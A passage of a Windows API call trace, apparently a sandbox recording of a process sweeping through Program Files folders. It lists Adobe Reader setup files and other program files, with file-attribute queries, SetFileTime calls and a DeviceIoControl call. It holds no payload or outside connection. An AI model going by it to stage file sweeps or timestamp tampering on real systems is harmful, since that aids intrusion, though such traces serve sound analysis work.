(x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0084.960] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0084.960] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1027.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1034.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1048.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1050.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1051.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="1058.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1060.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1069.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052.mst", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x6c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ABCPY.INI", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x268000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRead.msi", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc69b0a00, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4c1e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc69b0a00, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x7a3f7f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x525c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0084.961] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.ini", cAlternateFileName="")) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.ini", cAlternateFileName="")) returned 0 [0084.962] GetLastError () returned 0x12 [0084.962] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0085.051] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="")) returned 0 [0085.051] GetLastError () returned 0x12 [0085.051] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktig.htm", cAlternateFileName="")) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 0 [0085.052] GetLastError () returned 0x12 [0085.052] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d3db80, ftCreationTime.dwHighDateTime=0x1d56ddc, ftLastAccessTime.dwLowDateTime=0x24333300, ftLastAccessTime.dwHighDateTime=0x1d54ce3, ftLastWriteTime.dwLowDateTime=0x24333300, ftLastWriteTime.dwHighDateTime=0x1d54ce3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d3db80, ftCreationTime.dwHighDateTime=0x1d56ddc, ftLastAccessTime.dwLowDateTime=0x24333300, ftLastAccessTime.dwHighDateTime=0x1d54ce3, ftLastWriteTime.dwLowDateTime=0x24333300, ftLastWriteTime.dwHighDateTime=0x1d54ce3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 0 [0085.052] GetLastError () returned 0x12 [0085.052] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0085.052] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0085.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0085.053] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files" (normalized: "c:\\program files (x86)\\common files"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0085.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files" (normalized: "c:\\program files (x86)\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0085.054] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0085.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.054] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0085.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.055] NtClose (Handle=0x124) returned 0x0 [0085.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0085.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0085.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0085.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0085.056] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0085.056] 